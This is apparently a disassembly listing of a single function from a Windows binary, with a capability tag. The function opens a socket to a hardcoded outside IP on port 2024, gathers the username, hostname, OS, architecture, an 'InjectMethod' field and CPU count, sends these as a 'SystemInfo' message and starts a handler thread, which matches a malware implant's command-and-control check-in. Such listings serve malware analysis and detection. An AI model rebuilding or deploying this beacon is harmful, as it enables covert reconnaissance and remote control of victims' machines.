Function at 0x140003ec0
Capabilities:
Connect socket
Set socket configuration

Disassembly:
push rsi
push rbx
sub rsp, 0x58
mov rbx, qword [0x1400250b0]
test rbx, rbx
je 0x1400041a8
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbx], rax
cmp rax, 0xffffffffffffffff
je 0x140004198
mov rax, qword [0x1400250b0]
mov ecx, 0x7e8
lea rsi, [rsp + 0x3c]
mov byte [rax + 8], 0
mov eax, 2
mov qword [rsp + 0x42], 0
mov word [rsp + 0x40], ax
mov qword [rsp + 0x48], 0
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.185.106.94.51
mov word [rsp + 0x42], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x3c], 1
mov r9, rsi
mov rbx, qword [sym.imp.WS2_32.dll_setsockopt]
mov dword [rsp + 0x44], eax
mov rax, qword [0x1400250b0]
mov r8d, 4
mov edx, 0xffff
mov rcx, qword [rax]
mov dword [rsp + 0x20], 4
call rbx
cmp eax, 0xffffffff
je 0x140004228
mov rax, qword [0x1400250b0]
mov r9, rsi
mov r8d, 8
mov edx, 0xffff
mov rcx, qword [rax]
mov dword [rsp + 0x20], 4
call rbx
cmp eax, 0xffffffff
je 0x140004240
mov rax, qword [0x1400250b0]
mov r9, rsi
mov r8d, 1
mov edx, 6
mov rcx, qword [rax]
mov dword [rsp + 0x20], 4
call rbx
cmp eax, 0xffffffff
je 0x140004258
mov rax, qword [0x1400250b0]
lea rdx, [rsp + 0x40]
mov r8d, 0x10
mov rcx, qword [rax]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140004188
call fcn.140001a80
mov rbx, rax
test rax, rax
je 0x140004188
lea rcx, str._____System_Info_____
call fcn.140001a40
mov rdx, qword [rbx + 8]
lea rcx, str.Username:__s
call fcn.140001a40
mov rdx, qword [rbx]
lea rcx, str.Hostname:__s
call fcn.140001a40
mov rdx, qword [rbx + 0x10]
lea rcx, str.OS:__s
call fcn.140001a40
mov rdx, qword [rbx + 0x18]
lea rcx, str.Arch:__s
call fcn.140001a40
mov rdx, qword [rbx + 0x20]
lea rcx, str.InjectMethod:__s
call fcn.140001a40
mov edx, dword [rbx + 0x28]
lea rcx, str.CPUCount:__d
call fcn.140001a40
mov rdx, qword [rbx + 0x30]
lea rcx, str.Version:__s
call fcn.140001a40
lea rcx, str._____________________
call fcn.140001a40
mov rdx, qword [0x1400250b0]
mov r9d, 0x7e8
lea r8, str.185.106.94.51
lea rcx, str.Connected_to___p__s:_d_n
call fcn.140001a40
mov rax, qword [0x1400250b0]
mov rcx, qword [rax + 0x10]
call fcn.14000e96b
mov rax, qword [0x1400250b0]
xor edx, edx
mov rcx, qword [rax]
call fcn.140002f70
test rax, rax
je 0x140004140
mov rax, qword [0x1400250b0]
mov edx, 1
mov rcx, qword [rax]
call fcn.140002f70
test rax, rax
je 0x140004140
mov rax, qword [0x1400250b0]
lea rdx, str.SystemInfo
mov rcx, qword [rax]
call fcn.140002ff0
test rax, rax
je 0x140004140
mov rax, qword [0x1400250b0]
mov edx, 0xa
mov rcx, qword [rax]
call fcn.140002f70
test rax, rax
je 0x140004140
mov edx, 0xa
mov rcx, rbx
call fcn.140003920
mov rdx, rax
mov rax, qword [0x1400250b0]
mov rcx, qword [rax]
call fcn.140002ff0
mov rax, qword [0x1400250b0]
mov rcx, qword [rax + 0x10]
call fcn.14000ea12
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov r9, qword [0x1400250b0]
xor edx, edx
lea r8, [0x140003d70]
lea rcx, [r9 + 0x18]
call fcn.140011ee0
mov edx, eax
mov eax, 1
test edx, edx
jne 0x1400041e0
add rsp, 0x58
pop rbx
pop rsi
ret
mov rax, qword [0x1400250b0]
mov rcx, qword [rax]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
add rsp, 0x58
pop rbx
pop rsi
ret
mov ecx, 0x20
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov ecx, 8
mov rbx, rax
mov qword [0x1400250b0], rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
xor edx, edx
mov qword [rbx + 0x10], rax
mov rcx, rax
call fcn.14000eba1
mov rbx, qword [0x1400250b0]
jmp 0x140003ed6
mov rbx, qword [0x1400250b0]
test rbx, rbx
je 0x140004198
cmp qword [rbx], 0xffffffffffffffff
je 0x140004198
cmp byte [rbx + 8], 0
jne 0x140004198
lea rcx, str.Info_Closing_connection
call fcn.140001a40
mov rcx, qword [rbx]
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbx + 8], 1
mov rcx, qword [rbx + 0x18]
call fcn.140011225
xor eax, eax
jmp 0x14000419a
lea rcx, str.setsockopt_SO_REUSEADDR
call fcn.140001a60
jmp 0x140003f7d
lea rcx, str.setsockopt_SO_KEEPALIVE
call fcn.140001a60
jmp 0x140003fa8
lea rcx, str.setsockopt_TCP_NODELAY
call fcn.140001a60
jmp 0x140003fd3